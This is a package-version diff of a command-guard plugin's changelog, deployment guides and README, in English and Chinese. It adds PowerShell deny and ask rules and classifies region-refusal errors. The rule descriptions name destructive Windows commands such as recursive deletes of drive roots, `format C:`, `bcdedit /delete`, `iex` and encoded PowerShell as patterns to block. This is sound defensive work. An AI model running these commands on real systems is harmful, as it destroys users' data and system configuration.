dsh-jev-guard 0.5.4 → 0.5.6

This diff represents the content of publicly available package versions that have been released to one of the supported registries. The information contained in this diff is provided for informational purposes only and reflects changes between package versions as they appear in their respective public registries.
package/CHANGELOG.md CHANGED
@@ -5,6 +5,37 @@
5
5
  This project follows a "record the facts by date" approach: every entry states clearly **what changed, why, and how it was verified**.
6
6
  The complete design trade-offs are in [`docs/DECISIONS.md`](./docs/DECISIONS.md), the measured data in [`docs/MEASUREMENTS.md`](./docs/MEASUREMENTS.md).
7
7
 
8
+ ## [0.5.6] — 2026-10-17
9
+
10
+ **PowerShell's destructive surface is in the L0 rules now — on the day this profile's executor flipped from bash to pwsh.** L0 is the floor that survives a degraded or timed-out semantic layer; with the live model given 1800 ms before it fails open, forms like `Remove-Item -Recurse C:\`, `bcdedit /delete`, `iex`, `powershell -EncodedCommand`, `reg delete`, `net user … /delete` and `takeown /f C:\` were relying on the online verdict alone. They are offline rules now: **DENY 21 → 26, ASK 16 → 24**. The reasoning is D19 in [`docs/DECISIONS.md`](./docs/DECISIONS.md).
11
+
12
+ **Why now.** On 2026-10-17 this profile's executor moved from bash to pwsh (Git Bash's MSYS2 runtime cannot start under the sandbox's `WRITE_RESTRICTED` token; the four config edits are recorded in `cordis.patch.yml`). The plugin's tool list already carried both (`DEFAULT_TOOLS = ['bash', 'pwsh']`), so nothing was left unguarded — but the L0 rules were written in bash syntax, and the semantic layer fails open after 1800 ms. Measured on this host: 8 of the day's judgments were `source: error`, every one a timeout, i.e. commands that ran with no model decision behind them. After the restart the audit log also carries the first `"tool": "pwsh"` records, so the new executor body does reach the pre-execute hook.
13
+
14
+ **What changed:**
15
+
16
+ 1. **New DENY rules (5):** a recursive delete aimed at a **drive root** (`Remove-Item -Recurse C:\`, plus the `ri` / `rm` / `del` / `rd` aliases with `-Recurse` / `/s`), at `C:\Windows` (`$env:SystemRoot`, `%SystemRoot%`), or at a **profile root** (`$env:USERPROFILE`, `$HOME`, `C:\Users\<name>`, `~`); `format C:`; `bcdedit /set|/delete|/create|/import`; `Disable-ComputerRestore`.
17
+ 2. **The old drive-root rule was rewritten, because it was wrong in the other direction.** Measured before the change: `Remove-Item -Recurse C:\Users\me\build` was **denied** — the pattern tested "any drive-letter path" rather than a root, and its `[^*]` accepted the path's own first character. It now tests the *target* for a root with a token boundary, and finds `-Recurse` / `/s` by lookahead, so `-Path C:\ -Recurse` (flag after the target) is covered too.
18
+ 3. **New ASK rules (8):** `iex` / `Invoke-Expression`; `powershell -EncodedCommand` (`-e`, `-ec`, `-enc`); `Clear-Content`; `reg delete`; `Remove-Item` against `HKLM:` / `HKCU:` / `HKCR:`; `net user|localgroup … /delete`; `takeown /f <drive>` and `icacls <drive> /reset`; `Clear-RecycleBin`.
19
+ 4. **Shell-wrapper recognition covers the PowerShell forms.** `SHELL_C` now matches `pwsh -NoProfile -Command "…"` — a flag between the binary and `-Command`, which the old `-[a-z]*c` never reached — and cmd's `/c`, so a destructive command inside either is still seen at its own command position. `where: 'anywhere'` remains exactly two rules (redirect-to-device, fork-bomb), and the suite asserts that structural invariant.
20
+
21
+ **Acceptance** (Windows, Node 24.12.0, DSH 0.2.1-rc.2 desktop host, re-checked the same day — `verification-results/dsh.json` item 24): `guard selftest` 12/12; the seven offline suites **30 / 34 / 113 / 54 / 17 / 83 / 20** assertions (entry / i18n / quota / reason / token / rules / audit), all passing; the DSH adapter smoke test 23/23 without a key (no key is configured in this workspace, so the with-key run is not part of this record). `selftest-rules` grew from 48 to 83 cases: the E group drives 24 new rules through `staticRule` on real strings, and the F group pins ten cases that must **not** fire — a relative `.\build`, a path *under* `C:\Users`, `C:\Windows.old`, prose that mentions `Remove-Item`, `Format-Table`, `Get-Help Clear-Content`. The suite does not assert a rule count, only that `anywhere` is still 2, so a later edit cannot quietly move a rule back to matching the whole text. `selftest-i18n` now covers all 50 L0 rules and asserts that each has a zh-CN and an en `why`. The real tool-pipeline integration test was not run in this workspace: it resolves `@deepseek-ai/cordis` from its own location and this checkout is deliberately zero-dependency — neither CI nor the publish workflow runs it either.
22
+
23
+ ## [0.5.5] — 2026-10-15
24
+
25
+ **The default model is pinned to a version instead of a floating alias, and two failures that used to vanish into `unknown` are now classes that degrade and say so.** The pin changes what a fresh install judges with; the classification is a behaviour change in `lib/quota.js`.
26
+
27
+ **Why the pin.** The plugin shipped `model: jev-latest`. On 2026-10-14 upstream published a new model behind a **preview** alias, and `jev-latest` is an alias that can move under a released plugin: this repository's thresholds (0.5 / 0.7) were calibrated on `1.13.0`. The default is now `jev-1.13.0`. Measured on the live API on 2026-10-15 through the production path: `jev-latest` still resolves to `jev-1.13.0`, `jev-preview` resolves to `jev-1.14.0` (the image-mode model), and `jev-1.14` / `jev-1.14-preview` do not exist (`400 Unknown model`). The image-mode model is deliberately **not** adopted, for two reasons that each stand on their own: **the valve has nothing to send it** — every judgment is one text question (`questions.destroys_data`, `{ type: 'noul' }`, built in `lib/gate.js`) whose answer is a single calibrated probability, so there is no image, no screenshot and no multimodal input anywhere on the path — and **upstream's own position is that it is not ready for production**, so adopting it would put an unvalidated model behind a safety valve. Pinning the version is the same decision: the thresholds 0.5 / 0.7 were fitted on `1.13.0`, so moving the model is a **re-calibration event** (re-fit plus a re-run of the 737 recorded commands), not a config edit. `config.example.json` and `cordis.patch.yml` record both facts in a comment; the decision itself is **D18** in [`docs/DECISIONS.md`](./docs/DECISIONS.md).
28
+
29
+ **Why two new classes.** On 2026-10-15, on the Windows desktop host, a whole session judged **nothing**. Every judgment came back `HTTP 451`: `{"title":"Typesafe is not available in your region.","status":451}` — refused before authentication and before the body is validated — and `classifyFailure()` filed it under `unknown`, whose entry is `{ degraded: false, cooldownMs: 0 }`. So the valve failed open on every command, sent a request it had just been told would be refused, wrote no state file, and `guard status` kept printing "normal". Measured: 83 audit entries in one day, every one `allow`, 73 of them `source: error` with `errorKind: unknown`. The same silence covered a mistyped `model`: `400` plus `{"detail":{"error_type":"api_usage_error","message":"Unknown model: …"}}` was `unknown` too. **The condition itself is still in place:** as of 2026-10-15 the service refuses this region's egress, so a deployment behind one waits out the 30-minute `region` cooldown instead of judging, until the **host process** is routed through an allowed egress — the valve cannot do that for you, and from 0.5.5 it says so instead of reporting health (README, "If the service refuses your region"; D17).
30
+
31
+ **What changed:**
32
+
33
+ 1. **`region` (HTTP 451) is a degrading 30-minute cooldown, global in scope.** The body is the service's own JSON, so this is not an `edge` block: the request reached the service and was refused by its region policy. Same shape as `auth`, and `guard status` now names the cause instead of reporting health.
34
+ 2. **`request` (HTTP 400/422) is a degrading 15-minute cooldown, local in scope.** What was refused is the request itself — a mistyped `model`, a malformed body — so retrying cannot help and the fix is in the configuration. It is scoped like `no-key` (D15): only the entry point that wrote the state pauses its online judging, and the other entry points keep working.
35
+ 3. **Both carry copy in both languages** (`quota.region.label|hint`, `quota.request.label|hint`), and each hint says what to do: check the proxy and the egress IP for `region`, fix the `model` for `request`.
36
+
37
+ **Acceptance** (Windows, Node 24.12.0, DSH 0.2.0-rc.2 desktop host): the seven offline suites 20 / 30 / 34 / 113 / 54 / 48 / 17, all passing — `selftest-quota` grew from 109 to 113, where the set of degrading classes is asserted to be `auth,no-key,quota,region,request` and the four new cases cover the classification of both live response bodies, the scope of each class, and one end-to-end `451` (first command `source: error` + `errorKind: region` with a warning naming the 451, exactly one HTTP request, the state file written as `kind: region` + `scope: global`, second command `source: degraded` and **no** further request). `node bin/guard.mjs selftest` 12/12; the DSH adapter smoke test 23/23 with no key and 25/25 with one; the real tool-pipeline integration test 6/6 offline and 7/7 with `TYPESAFE_API_KEY`. The classification was measured against the live API rather than inferred: `model: jev-1.13.0` → `200` `{"model":"jev-1.13.0","answers":{"destroys_data":{"type":"noul","noul":0.1}},"usage":{"input_tokens":419,"output_tokens":22}}`; `model: jev-nope` → `400 Unknown model: jev-nope`; and the `451` body above, which lands before body validation — the same request body returns `422` from an allowed egress. The pin was re-measured against the 737 real commands recorded in `measurements/`: at threshold 0.5, `allow` 722 / `revise` 8 / `escalate` 7 / `deny` 0 against that run's 723 allow and 14 ask, with a mean |Δp| of 0.0045 over the 555 commands comparable with it and 3 commands crossing a threshold band.
38
+
8
39
  ## [0.5.4] — 2026-09-30
9
40
 
10
41
  **On Windows a live judgment — one whose verdict was completely correct — ended the process with a crash exit code.** Exiting now lets the event loop drain instead, and two smoke scripts had their Windows behaviour corrected. Nothing on the judgment path changed: `lib/` and `adapters/` are identical to 0.5.3.
@@ -5,6 +5,37 @@
5
5
  本项目遵循「按日期记录事实」的写法:每条都写清**改了什么、为什么、以及怎么验证的**。
6
6
  完整的设计取舍见 [`docs/DECISIONS.md`](./docs/DECISIONS.md),实测数据见 [`docs/MEASUREMENTS.md`](./docs/MEASUREMENTS.md)。
7
7
 
8
+ ## [0.5.6] — 2026-10-17
9
+
10
+ **PowerShell 的破坏性操作面进了 L0 规则 —— 就在本 profile 的执行器从 bash 翻成 pwsh 的这一天。** L0 是在语义层降级或超时之后仍然站得住的那层地板;联网模型只有 1800ms,超时即 fail-open,`Remove-Item -Recurse C:\`、`bcdedit /delete`、`iex`、`powershell -EncodedCommand`、`reg delete`、`net user … /delete`、`takeown /f C:\` 这些形态此前只靠联网判定兜着。现在它们是离线规则:**DENY 21 → 26,ASK 16 → 24**。理由见 [`docs/DECISIONS.md`](./docs/DECISIONS.md) 的 D19。
11
+
12
+ **为什么是现在。** 2026-10-17 本 profile 的执行器从 bash 换成了 pwsh(Git Bash 的 MSYS2 运行时在沙盒的 `WRITE_RESTRICTED` 令牌下起不来;四处配置改动记在 `cordis.patch.yml`)。插件的工具列表本来就同时包含两者(`DEFAULT_TOOLS = ['bash', 'pwsh']`),所以没有哪类命令"失去守卫" —— 但 L0 规则是用 bash 语法写的,而语义层 1800ms 就 fail-open。在这台机器上量到的:当天 8 条判定是 `source: error`,每一条都是超时,也就是那些命令跑的时候背后没有任何模型判定。重启之后审计日志里也第一次出现了 `"tool": "pwsh"` 记录,说明新的执行器确实走到了 pre-execute 钩子。
13
+
14
+ **改了什么:**
15
+
16
+ 1. **新增 DENY 5 条:** 递归删除指向**盘符根**(`Remove-Item -Recurse C:\`,以及 `ri` / `rm` / `del` / `rd` 别名带 `-Recurse` / `/s`)、指向 `C:\Windows`(`$env:SystemRoot`、`%SystemRoot%`)、或指向**用户目录根**(`$env:USERPROFILE`、`$HOME`、`C:\Users\<名>`、`~`);`format C:`;`bcdedit /set|/delete|/create|/import`;`Disable-ComputerRestore`。
17
+ 2. **旧的盘符根规则被重写,因为它错在另一个方向。** 改之前实测:`Remove-Item -Recurse C:\Users\me\build` 会被 **deny** —— 模式判的是"任意盘符路径"而不是根,而 `[^*]` 连路径自己的第一个字符都放过了。现在它判的是**目标**是不是根,并带 token 边界;`-Recurse` / `/s` 用 lookahead 找,所以 `-Path C:\ -Recurse`(flag 写在目标之后)也覆盖到了。
18
+ 3. **新增 ASK 8 条:** `iex` / `Invoke-Expression`;`powershell -EncodedCommand`(`-e`、`-ec`、`-enc`);`Clear-Content`;`reg delete`;`Remove-Item` 碰 `HKLM:` / `HKCU:` / `HKCR:`;`net user|localgroup … /delete`;`takeown /f <盘符>` 与 `icacls <盘符> /reset`;`Clear-RecycleBin`。
19
+ 4. **包装器识别补上 PowerShell 形态。** `SHELL_C` 现在能咬 `pwsh -NoProfile -Command "…"` —— 二进制与 `-Command` 之间夹着参数,旧的 `-[a-z]*c` 根本到不了 —— 以及 cmd 的 `/c`,所以这两种写法里的破坏性命令仍会在它自己的命令位置被看见。`where: 'anywhere'` 仍然恰好两条(redirect-to-device、fork-bomb),这套自检钉的正是这个结构不变量。
20
+
21
+ **验收**(Windows、Node 24.12.0,宿主为 DSH 0.2.1-rc.2 桌面版,同日重新验过 —— 见 `verification-results/dsh.json` 第 24 项):`guard selftest` 12/12;七套离线自检 **30 / 34 / 113 / 54 / 17 / 83 / 20** 条断言(entry / i18n / quota / reason / token / rules / audit)全过;DSH 适配器冒烟 23/23(本工作区没有配密钥,所以带密钥那一轮不在本次记录里)。`selftest-rules` 从 48 例涨到 83 例:E 组 24 条用真实字符串把新规则喂给 `staticRule`,F 组钉住十条**不该**命中的:相对目录 `.\build`、`C:\Users` **之下**的路径、`C:\Windows.old`、把 `Remove-Item` 写进散文、`Format-Table`、`Get-Help Clear-Content`。这套自检不断言规则条数,只断言 `anywhere` 仍是 2,所以以后改规则不会悄悄把某条退回全文匹配。`selftest-i18n` 现在覆盖全部 50 条 L0 规则,要求每条都有 zh-CN 与 en 的 `why`。真实工具管线集成测试本次没跑:它从自身位置解析 `@deepseek-ai/cordis`,而本仓刻意零依赖 —— CI 与发布工作流也都不跑它。
22
+
23
+ ## [0.5.5] — 2026-10-15
24
+
25
+ **默认模型从浮动别名改为固定版本号;另有两类原本会消失在 `unknown` 里的失败,现在各有分类、会降级、而且会说出来。** 前者改变新装默认拿哪个模型判定;后者是 `lib/quota.js` 的行为变更。
26
+
27
+ **为什么固定版本号。** 插件原来发出去的是 `model: jev-latest`。2026-10-14 上游在一个**预览**别名后面发了新模型,而 `jev-latest` 是一个会在已发布插件脚下移动的别名:本仓的阈值(0.5 / 0.7)是在 `1.13.0` 上标定的。现在的默认是 `jev-1.13.0`。2026-10-15 走生产路径对真机实测:`jev-latest` 仍解析到 `jev-1.13.0`,`jev-preview` 解析到 `jev-1.14.0`(图像模式模型),而 `jev-1.14` / `jev-1.14-preview` 不存在(`400 Unknown model`)。图像模式模型是**故意不跟进**的,理由有两条,各自独立成立:**阀门没有任何东西可以喂给它** —— 每一次判定都只是一个文本问题(`questions.destroys_data`、`{ type: 'noul' }`,在 `lib/gate.js` 里构造),它回的是**一个经过标定的概率**;整条路径上没有图片、没有截图、也没有任何多模态输入 —— 而**上游自己说它还不够进生产**,跟进它等于把一个尚未验证的模型放到安全阀门的后面。钉住版本号是同一个决定:阈值 0.5 / 0.7 是在 `1.13.0` 上标定的,所以换模型是一次**重标定事件**(重新拟合 + 重跑 737 条记录命令),不是改一次配置。这两件事都写在 `config.example.json` 与 `cordis.patch.yml` 的注释里;决定本身是 [`docs/DECISIONS.md`](./docs/DECISIONS.md) 里的 **D18**。
28
+
29
+ **为什么新增两个分类。** 2026-10-15,在 Windows 桌面宿主上,一整场会话**一次判定都没有做成**。每一次判定回来的都是 `HTTP 451`:`{"title":"Typesafe is not available in your region.","status":451}` —— 它在鉴权之前、在请求校验之前就被拒了 —— 而 `classifyFailure()` 把它归进 `unknown`,那一项是 `{ degraded: false, cooldownMs: 0 }`。于是阀门对每一条命令都 fail-open、把一条刚刚被告知会被拒的请求再发出去、不写任何状态文件,而 `guard status` 一直打印"正常"。实测:一天 83 条审计记录,全是 `allow`,其中 73 条 `source: error`、`errorKind: unknown`。同一份沉默也盖住了写错的 `model`:`400` 加 `{"detail":{"error_type":"api_usage_error","message":"Unknown model: …"}}` 同样是 `unknown`。**而这个状况本身还在:** 截至 2026-10-15,服务仍然拒绝本地区的出口;处在这种出口后面的部署,会一直等 `region` 那 30 分钟冷却、期间不做判定,直到把**宿主进程**挪到一个允许的出口上 —— 这件事阀门替你做不了,而 0.5.5 之后它会**说出来**,不再报"健康"(见 README「服务拒绝你的地区时:地区锁」;D17)。
30
+
31
+ **改了什么:**
32
+
33
+ 1. **`region`(HTTP 451)= 会降级的 30 分钟冷却,作用域全局。** 正文是判定服务自己的 JSON,所以这不是 `edge` 拦截:请求到了服务、被它的地区策略拒了。形状与 `auth` 相同,而且 `guard status` 现在会说出原因,而不是报一切正常。
34
+ 2. **`request`(HTTP 400/422)= 会降级的 15 分钟冷却,作用域本地。** 被拒的是请求本身 —— `model` 写错、正文不合法 —— 重试没有意义,要改的是配置。它跟着 `no-key` 的作用域规矩(D15):只暂停写下状态的那条入口的联网判定,别的入口照常工作。
35
+ 3. **两类都有双语文案**(`quota.region.label|hint`、`quota.request.label|hint`),而且每条 hint 都说清了该做什么:`region` 先查代理与出口 IP,`request` 去改 `model`。
36
+
37
+ **验收**(Windows、Node 24.12.0,宿主为 DSH 0.2.0-rc.2 桌面版):七套离线自检 20 / 30 / 34 / 113 / 54 / 48 / 17 条断言全过 —— `selftest-quota` 从 109 涨到 113,其中「会降级的类别」这条断言现在钉的是 `auth,no-key,quota,region,request`,四条新用例分别覆盖两份真机正文的分类、两类各自的作用域、以及一次端到端的 `451`(第一条命令 `source: error` + `errorKind: region`、告警里带 451、恰好一次 HTTP 请求、状态文件写成 `kind: region` + `scope: global`;第二条命令 `source: degraded` 且**不再**发请求)。`node bin/guard.mjs selftest` 12/12;DSH 适配器冒烟无密钥 23/23、带密钥 25/25;真实工具管线集成测试离线 6/6、带 `TYPESAFE_API_KEY` 7/7。分类是先在真机上量出来、不是推出来的:`model: jev-1.13.0` → `200` `{"model":"jev-1.13.0","answers":{"destroys_data":{"type":"noul","noul":0.1}},"usage":{"input_tokens":419,"output_tokens":22}}`;`model: jev-nope` → `400 Unknown model: jev-nope`;以及上面那条 `451` 正文 —— 它发生在请求校验之前:同一个请求体换一个允许的出口,答复是 `422`。固定版本号这件事则拿 `measurements/` 里记录的 737 条真实命令复测过:阈值 0.5 下 `allow` 722 / `revise` 8 / `escalate` 7 / `deny` 0,对照那次记录的 723 条 allow 与 14 条 ask;与那次可比对的 555 条命令里,|Δp| 平均 0.0045,有 3 条跨过阈值带。
38
+
8
39
  ## [0.5.4] — 2026-09-30
9
40
 
10
41
  **Windows 上,一次判定结论完全正确的联网判定,会以崩溃退出码结束。** 现在退出改为让事件循环自然排空;另外修掉两个冒烟脚本在 Windows 上的实测偏差。判定路径一行未动 —— `lib/` 与 `adapters/` 相对 0.5.3 完全一致。
package/DEPLOY.md CHANGED
@@ -30,9 +30,9 @@ and **have acceptable evidence for every step**. **Both WSL and Windows are supp
30
30
  | Node | ≥ 20 (uses the global `fetch`, `AbortSignal.any`) | `node -v` |
31
31
  | TypeSafe key | of the form `apikey_...`; if you don't have one, apply at https://console.typesafe.ai | §2.2 |
32
32
  | Directory location | `T:\dsh-jev-guard` recommended (in WSL that is `/mnt/t/dsh-jev-guard`) | `ls /mnt/t/dsh-jev-guard` |
33
- | Network | able to reach `https://api.typesafe.ai` | `node bin/guard.mjs judge 'pnpm test'` |
33
+ | Network | able to reach `https://api.typesafe.ai` **from an egress the service serves** — it is not reachable from every region: a blocked egress gets `HTTP 451` with `{"title":"Typesafe is not available in your region.","status":451}`, before the key is looked at. Which egress a request goes out from is decided **per executable** on Windows, so routing your shell is not enough: the DSH host process needs it too. The valve classifies this as `region` and degrades globally for 30 minutes rather than failing open (D17); verify with `guard status` and the `errorKind` line of `guard log --stats` | `node bin/guard.mjs judge 'pnpm test'` → must be `source: jev`, not `source: error` |
34
34
  | DSH | able to install local plugins (the profile's `package.json` has `dsh.profile` / bundles) | `dsh --profile <name> --dump-config` |
35
- | DSH version | **0.1.6-alpha.2**, **0.1.7-rc.2** and **0.2.0-rc.2** — all verified end to end; what was run is listed in the README's "Verified host versions" paragraph. No host requirement is declared in `package.json`, so the plugin market never blocks install on a different version | `dsh --version` |
35
+ | DSH version | **0.1.6-alpha.2**, **0.1.7-rc.2**, **0.2.0-rc.2** and **0.2.1-rc.2** — all verified end to end; what was run is listed in the README's "Verified host versions" paragraph. No host requirement is declared in `package.json`, so the plugin market never blocks install on a different version | `dsh --version` |
36
36
 
37
37
  ## 2. Install and configure
38
38
 
@@ -83,7 +83,7 @@ If you really want to switch: re-calibrate first, or lower both thresholds by ab
83
83
  ```bash
84
84
  cd /mnt/t/dsh-jev-guard
85
85
  node bin/guard.mjs selftest # expect: all 12 checks pass (offline)
86
- node bin/guard.mjs rules | head -5 # expect: 21 deny + 16 ask rules listed
86
+ node bin/guard.mjs rules | head -5 # expect: 26 deny + 24 ask rules listed
87
87
  node bin/guard.mjs judge 'ls -la' 'git push --force origin main' 'pnpm test'
88
88
  ```
89
89
 
@@ -183,6 +183,7 @@ node bin/guard.mjs status # health status (exit code 3 while degraded
183
183
  | `source: error`, with the reason `HTTP 402` | the credit is used up | same as the line above (this one **degrades** rather than retrying every time, which saves money) |
184
184
  | `source: error`, with the reason `HTTP 403` and an HTML body | a CDN/WAF blocked the request at the edge; it never reached the judging service | nothing to fix on your side: this is classified `edge` and does **not** degrade. If it keeps happening, your egress is being blocked — read the `edge` count in `guard log --stats` |
185
185
  | `source: degraded` | inside a degradation window | `guard status` will say which class it is + how much is left; the free L0 + pre-screen still work |
186
+ | `source: error`, with the reason `HTTP 451` and the body `{"title":"Typesafe is not available in your region.","status":451}` | **the service is region-locked and your egress is in a blocked region** — the request reached the service and was refused by its policy, before the key was checked (a valid key fails identically) | this is classified `region` and **degrades globally for 30 minutes**: `guard status` names the cause. Route the **DSH host process** (not just your shell — the split is per executable) through an egress the service serves, and confirm with `node bin/guard.mjs judge 'ls'` → `source: jev`. The cooldown probes once per 30 minutes and recovers by itself. The valve cannot change your egress; see `DECISIONS.md` D17 |
186
187
  | `source: error`, with the reason `fetch failed` | the network/proxy is unreachable | check that `https://api.typesafe.ai` is reachable. It does **not degrade** (transient), but it accumulates in the "failure breakdown" |
187
188
  | `guard status` keeps saying degraded, or a warning says the state file could not be removed | the state file sits in a read-only directory, so neither the cooldown nor the recovery can ever be written down | delete `~/.jev-guard/degraded.json` by hand, or fix that directory's permissions. The valve is otherwise healthy and judging online; until that file is gone, each new process repeats one probe |
188
189
  | A dangerous command was not blocked | not in L0 and `p < lowThreshold` | look at the `p` in the `judge` output; if necessary lower `lowThreshold` or add an L0 rule for that class of command |
package/DEPLOY.zh-CN.md CHANGED
@@ -30,9 +30,9 @@
30
30
  | Node | ≥ 20(用到全局 `fetch`、`AbortSignal.any`) | `node -v` |
31
31
  | TypeSafe 密钥 | 形如 `apikey_...`;没有就去 https://console.typesafe.ai 申请 | §2.2 |
32
32
  | 目录位置 | 建议 `T:\dsh-jev-guard`(WSL 里是 `/mnt/t/dsh-jev-guard`) | `ls /mnt/t/dsh-jev-guard` |
33
- | 网络 | 能访问 `https://api.typesafe.ai` | `node bin/guard.mjs judge 'pnpm test'` |
33
+ | 网络 | 能**从服务提供服务的地区**访问 `https://api.typesafe.ai` —— 它并非从任何地区都可达:被拦的出口拿到的是 `HTTP 451` 与 `{"title":"Typesafe is not available in your region.","status":451}`,而这发生在看密钥之前。Windows 上"从哪个出口出去"往往**按可执行文件**决定,所以只给终端配代理不够:DSH 宿主进程也得走。阀门把这种情况分类为 `region`,全局降级 30 分钟,而不是逐次 fail-open(D17);用 `guard status` 与 `guard log --stats` 的 `errorKind` 一行确认 | `node bin/guard.mjs judge 'pnpm test'` → 必须是 `source: jev`,不能是 `source: error` |
34
34
  | DSH | 能装本地插件(profile 的 `package.json` 有 `dsh.profile` / bundles) | `dsh --profile <名> --dump-config` |
35
- | DSH 版本 | **0.1.6-alpha.2**、**0.1.7-rc.2** 与 **0.2.0-rc.2** 均已完整验证;跑了哪些见 README 的「已验证的宿主版本」段。`package.json` 未声明宿主要求,所以插件市场不会因版本不同而阻拦安装 | `dsh --version` |
35
+ | DSH 版本 | **0.1.6-alpha.2**、**0.1.7-rc.2**、**0.2.0-rc.2** 与 **0.2.1-rc.2** 均已完整验证;跑了哪些见 README 的「已验证的宿主版本」段。`package.json` 未声明宿主要求,所以插件市场不会因版本不同而阻拦安装 | `dsh --version` |
36
36
 
37
37
  ## 2. 安装与配置
38
38
 
@@ -81,7 +81,7 @@
81
81
  ```bash
82
82
  cd /mnt/t/dsh-jev-guard
83
83
  node bin/guard.mjs selftest # 期望:12 项全部通过(不联网)
84
- node bin/guard.mjs rules | head -5 # 期望:列出 21 条 deny + 16 条 ask
84
+ node bin/guard.mjs rules | head -5 # 期望:列出 26 条 deny + 24 条 ask
85
85
  node bin/guard.mjs judge 'ls -la' 'git push --force origin main' 'pnpm test'
86
86
  ```
87
87
 
@@ -181,6 +181,7 @@ node bin/guard.mjs status # 健康状态(降级时退出码 3)
181
181
  | `source: error`,理由是 `HTTP 402` | 额度用尽 | 同上一行(这条会**降级**而不是逐次重试,省钱) |
182
182
  | `source: error`,理由是 `HTTP 403` 且正文是 HTML | CDN/WAF 在边缘把请求挡了,它没到判定服务 | 你这边不用做什么:这被分类为 `edge`,**不降级**。若持续出现,说明出口被拦了 —— 看 `guard log --stats` 的 `edge` 计数 |
183
183
  | `source: degraded` | 处在降级窗口内 | `guard status` 会说明是哪一类 + 还剩多久;免费的 L0 + 预筛仍在工作 |
184
+ | `source: error`,理由是 `HTTP 451` 且正文是 `{"title":"Typesafe is not available in your region.","status":451}` | **服务锁区,而你的出口在被拦的地区** —— 请求到了服务、在检查密钥之前就被它的策略拒了(有效密钥同样被拒) | 这被分类为 `region`,**全局降级 30 分钟**:`guard status` 会点名原因。把 **DSH 宿主进程**(不只是终端 —— 分流是按可执行文件生效的)挪到服务提供服务的出口上,并用 `node bin/guard.mjs judge 'ls'` → `source: jev` 确认。冷却每 30 分钟探一次,出口一换就自己恢复。阀门改不了你的出口;见 `DECISIONS.md` D17 |
184
185
  | `source: error`,理由是 `fetch failed` | 网络/代理不通 | 检查 `https://api.typesafe.ai` 可达性。**不会降级**(瞬态),但会累计在"失败分类"里 |
185
186
  | `guard status` 一直显示已降级,或告警说状态文件删不掉 | 状态文件所在目录只读,冷却与恢复都写不进去 | 手工删除 `~/.jev-guard/degraded.json`,或修好该目录权限。除此之外阀门是健康的、照常联网判定;那个文件消失之前,每个新进程会重复一次探测 |
186
187
  | 危险命令没被拦 | 不在 L0 且 `p < lowThreshold` | 看 `judge` 输出的 `p`;必要时调低 `lowThreshold` 或给该类命令加 L0 规则 |
package/README.md CHANGED
@@ -42,6 +42,7 @@ command text ──▶ L0 static hard rules (offline · cannot be overridden)
42
42
  - [Behavior under the two approval policies](#behavior-under-the-two-approval-policies)
43
43
  - [When something is blocked: the three ways a human can step in](#when-something-is-blocked-the-three-ways-a-human-can-step-in)
44
44
  - [When credit runs out: degrade, don't fail silently](#when-credit-runs-out-degrade-dont-fail-silently)
45
+ - [If the service refuses your region: the region lock](#if-the-service-refuses-your-region-the-region-lock)
45
46
  - [Visibility: audit log and status](#visibility-audit-log-and-status)
46
47
  - [Platform support](#platform-support)
47
48
  - [Self-checks and verification](#self-checks-and-verification)
@@ -62,7 +63,7 @@ command text ──▶ L0 static hard rules (offline · cannot be overridden)
62
63
 
63
64
  Three layers, always in this order:
64
65
 
65
- 1. **L0 static hard rules** (`lib/rules.js`): 21 "never allowed" + 16 "human confirmation required". **Offline and impossible to override** — not even a one-shot token gets past them. Rules match at **command position only** (the start of a line, or after `;` `&` `|` `(` `$(`, or after `bash -c "`, and skipping wrappers such as `sudo` / `timeout 30` / `xargs -0` / `find … -exec`) — so *mentioning* a dangerous command inside an argument is not a false positive, **and a real command buried in a multi-line script is not missed either**. Only two rules cannot be anchored structurally (`redirect-to-device`, `fork-bomb`) and match the whole text; the counter `RULE_STATS.anywhere` is always 2.
66
+ 1. **L0 static hard rules** (`lib/rules.js`): 26 "never allowed" + 24 "human confirmation required". **Offline and impossible to override** — not even a one-shot token gets past them. Rules match at **command position only** (the start of a line, or after `;` `&` `|` `(` `$(`, or after `bash -c "` / `pwsh -NoProfile -Command "` / `cmd /c "`, and skipping wrappers such as `sudo` / `timeout 30` / `xargs -0` / `find … -exec`) — so *mentioning* a dangerous command inside an argument is not a false positive, **and a real command buried in a multi-line script is not missed either**. Only two rules cannot be anchored structurally (`redirect-to-device`, `fork-bomb`) and match the whole text; the counter `RULE_STATS.anywhere` is always 2.
66
67
  2. **Pre-screen**: commands that are provably read-only or touch only rebuildable content (caches, build output, `/tmp`) pass straight through, with **zero network calls**.
67
68
  3. **Jev semantic judgment**: one yes/no question — *"will this command irreversibly delete or overwrite the user's real data?"* — split by two thresholds into `allow` / `revise` / `block`. Measured latency ~300ms (P50 267ms), cost ≈ `$0.000019` per call.
68
69
 
@@ -70,10 +71,14 @@ Three layers, always in this order:
70
71
 
71
72
  Requires **Node ≥ 20** (it uses the global `fetch`). **Zero runtime dependencies** — no `npm install` needed.
72
73
 
73
- **Verified host versions: DSH 0.1.6-alpha.2, 0.1.7-rc.2 and 0.2.0-rc.2.** 0.1.7-rc.2 was checked end to end on 2026-09-25 (Node 24.21.0, WSL/Linux, this plugin at 0.5.3): `guard selftest` 12/12; the seven offline suites 20 / 31 / 34 / 109 / 56 / 48 / 17 assertions, all passing; the DSH adapter smoke test 23/23; and the tool-pipeline integration test running against that checkout's own `@deepseek-ai/dsh-tools` 6/6 offline and **7/7 with a key**, the extra case being one live judgement through the real five-stage pipeline. The valve also ran mounted in a real session, judging commands and writing its audit log under approval policy `ask`.
74
+ **Verified host versions: DSH 0.1.6-alpha.2, 0.1.7-rc.2, 0.2.0-rc.2 and 0.2.1-rc.2.** 0.1.7-rc.2 was checked end to end on 2026-09-25 (Node 24.21.0, WSL/Linux, this plugin at 0.5.3): `guard selftest` 12/12; the seven offline suites 20 / 31 / 34 / 109 / 56 / 48 / 17 assertions, all passing; the DSH adapter smoke test 23/23; and the tool-pipeline integration test running against that checkout's own `@deepseek-ai/dsh-tools` 6/6 offline and **7/7 with a key**, the extra case being one live judgement through the real five-stage pipeline. The valve also ran mounted in a real session, judging commands and writing its audit log under approval policy `ask`.
74
75
 
75
76
